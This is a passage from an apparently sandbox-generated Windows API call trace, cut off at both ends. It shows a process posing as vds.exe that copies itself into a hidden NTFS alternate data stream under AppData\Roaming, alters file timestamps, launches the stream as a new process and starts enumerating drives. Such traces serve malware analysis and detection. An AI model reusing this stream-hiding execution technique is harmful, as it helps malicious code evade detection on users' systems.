lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82848ae7, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x82848ae7, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xde1efe20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x16a00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="DeviceProperties.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fb9db19, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1fb9db19, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde214810, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="DFDWiz.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x936a25bf, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x936a25bf, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936a25bf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="dfrgui.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe2c2b99, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xbe2c2b99, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xdff65630, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="dialer.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9a95e4b, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xa9a95e4b, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xdffb1120, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c600, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="diantz.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60e1adc0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x60e1adc0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdffd5b10, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="dinotify.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938917a3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x938917a3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x938b7903, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28a00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="diskpart.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c984a5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x13c984a5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe00bb2f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="diskperf.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a80986, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93a80986, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93a80986, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x58c00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="diskraid.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8837bef, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xe8837bef, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0369380, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x43200, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="Dism.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd81ea4a, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd81ea4a, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xe0400960, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x26e00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="dispdiag.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f9a6bc8, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5f9a6bc8, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe057d720, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x81400, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="DisplaySwitch.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f6834a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f6834a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f6834a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="djoin.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee4ae4b2, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee4ae4b2, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe06fa4e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="dllhost.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed7e2f74, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xed7e2f74, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe07215e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="dllhst3g.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x390ff8fb, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x390ff8fb, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe0981470, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="dnscacheugc.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0a1b160, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="doskey.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89abe568, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x89abe568, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe0afe230, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="dpapimig.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x829eb9e6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x829eb9e6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe0b4c430, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="DpiScaling.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6e5b99f, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xd6e5b99f, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe0b4c430, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="dpnsvr.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32347214, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x32347214, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0c7aff0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17800, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="driverquery.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67fa17, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x6d67fa17, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0c2f500, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x19200, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="drvinst.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f4b6133, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x9f4b6133, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="dvdplay.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa21c9e46, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xa21c9e46, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe1626950, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="dvdupgrd.exe", cAlternateFileName="")) returned 1 [0034.345] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8366e2b, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe8366e2b, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe1674b50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1d600, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="dwm.exe", cAlternateFileName="")) returned 1 [0034.345] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58ecbbdd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x58ecbbdd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xe16c0640, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x25400, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="DWWIN.EXE", cAlternateFileName="")) returned 1 [0034.345] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8749092f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8749092f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xe17a3710, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x53e00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="dxdiag.exe", cAlternateFileName="")) returned 1 [0034.345] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a6d10, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93a6d10, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe18d49e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x40c00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="Dxpserver.exe", cAlternateFileName="")) returned 1 [0034.345] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe61b0ca, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbe61b0ca, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe18fbae0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="Eap3Host.exe", cAlternateFileName="")) returned 1 [0034.345] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0034.345] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0034.345] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0034.345] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0034.345] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\C:\\Windows\\system32\\Eap3Host.exe" (normalized: "c:\\windows\\system32\\c:\\windows\\system32\\eap3host.exe"), fInfoLevelId=0x0, lpFileInformation=0x174f8c4 | out: lpFileInformation=0x174f8c4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x408ae7, ftCreationTime.dwHighDateTime=0xf70000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x174fc20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x174f95c)) returned 0 [0034.345] GetLastError () returned 0x7b [0034.345] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0034.345] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf891e8 [0034.345] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf891e8) returned 1 [0034.345] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\Q5V3JP~1" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\q5v3jp~1"), fInfoLevelId=0x0, lpFileInformation=0x174f8c4 | out: lpFileInformation=0x174f8c4*(dwFileAttributes=0x48, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0xf70000, ftLastAccessTime.dwLowDateTime=0xf891e8, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x174fc20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x174f95c)) returned 0 [0034.345] GetLastError () returned 0x2 [0034.345] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\Q5V3JP~1" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\q5v3jp~1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x178 [0034.346] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x174f908, lpLastWriteTime=0x174f908) returned 1 [0034.346] WriteFile (in: hFile=0x178, lpBuffer=0xf89230*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x174f934, lpOverlapped=0x0 | out: lpBuffer=0xf89230*, lpNumberOfBytesWritten=0x174f934*=0x0, lpOverlapped=0x0) returned 1 [0034.346] NtClose (Handle=0x178) returned 0x0 [0034.346] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0034.346] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fbe8) returned 1 [0034.346] FindClose (in: hFindFile=0x603778 | out: hFindFile=0x603778) returned 1 [0034.346] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fc70) returned 1 [0034.346] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fcf8) returned 1 [0034.346] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x800) returned 0xf86058 [0034.346] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xf86058, nSize=0x200 | out: lpFilename="C:\\Windows\\System32\\vds.exe" (normalized: "c:\\windows\\system32\\vds.exe")) returned 0x1b [0034.346] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fcf8 [0034.346] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\vds.exe" (normalized: "c:\\windows\\system32\\vds.exe"), fInfoLevelId=0x0, lpFileInformation=0x174f8c4 | out: lpFileInformation=0x174f8c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a159cb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84a159cb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa450000, ftLastWriteTime.dwHighDateTime=0x1cb890f, nFileSizeHigh=0x0, nFileSizeLow=0x27000)) returned 1 [0034.346] CreateFileW (lpFileName="C:\\Windows\\System32\\vds.exe" (normalized: "c:\\windows\\system32\\vds.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0034.346] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x174f908, lpLastWriteTime=0x174f908) returned 0 [0034.346] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x174f8f4 | out: lpFileSizeHigh=0x174f8f4*=0x0) returned 0x27000 [0034.347] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x174f900*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174f900*=0) returned 0x0 [0034.347] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x27000) returned 0xf9dfa8 [0034.348] ReadFile (in: hFile=0x15c, lpBuffer=0xf9dfa8, nNumberOfBytesToRead=0x27000, lpNumberOfBytesRead=0x174f934, lpOverlapped=0x0 | out: lpBuffer=0xf9dfa8*, lpNumberOfBytesRead=0x174f934*=0x27000, lpOverlapped=0x0) returned 1 [0034.350] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x27000) returned 0xfc4fb0 [0034.352] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dfa8) returned 1 [0034.352] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x27000) returned 0xf9dfa8 [0034.352] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89230) returned 1 [0034.352] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfc4fb0) returned 1 [0034.352] NtClose (Handle=0x15c) returned 0x0 [0034.352] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fcf8) returned 1 [0034.352] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf86058) returned 1 [0034.352] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fcf8 [0034.352] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\Q5V3JP~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\q5v3jp~1:bin"), fInfoLevelId=0x0, lpFileInformation=0x174f8c4 | out: lpFileInformation=0x174f8c4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x408ae7, ftCreationTime.dwHighDateTime=0xf70000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x174fc20, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x174f95c)) returned 0 [0034.352] GetLastError () returned 0x2 [0034.352] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\Q5V3JP~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\q5v3jp~1:bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x15c [0034.353] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x174f908, lpLastWriteTime=0x174f908) returned 1 [0034.353] WriteFile (in: hFile=0x15c, lpBuffer=0xf9dfa8*, nNumberOfBytesToWrite=0x27000, lpNumberOfBytesWritten=0x174f934, lpOverlapped=0x0 | out: lpBuffer=0xf9dfa8*, lpNumberOfBytesWritten=0x174f934*=0x27000, lpOverlapped=0x0) returned 1 [0034.356] NtClose (Handle=0x15c) returned 0x0 [0034.357] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fcf8) returned 1 [0034.357] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dfa8) returned 1 [0034.357] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf85850) returned 1 [0034.358] CreateProcessAsUserW (in: hToken=0x148, lpApplicationName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\Q5V3JP~1:bin", lpCommandLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\Q5V3JP~1:bin", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x174fc48*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x174fc38 | out: lpCommandLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\Q5V3JP~1:bin", lpProcessInformation=0x174fc38*(hProcess=0x178, hThread=0x15c, dwProcessId=0x878, dwThreadId=0x888)) returned 1 [0034.420] NtClose (Handle=0x15c) returned 0x0 [0034.420] NtClose (Handle=0x148) returned 0x0 [0034.420] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fd80) returned 1 [0034.420] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88a98) returned 1 [0034.420] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf88a08) returned 1 [0034.420] Wow64DisableWow64FsRedirection (in: OldValue=0x174fce8 | out: OldValue=0x174fce8*=0x1) returned 1 [0034.420] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fd80 [0034.420] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fcf8 [0034.420] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fc70 [0034.420] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fbe8 [0034.420] GetLogicalDrives () returned 0x4 [0034.420] GetDriveTypeW (lpRootPathName="C:") returned 0x3 [0034.421] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf88a08 [0034.421] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0034.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 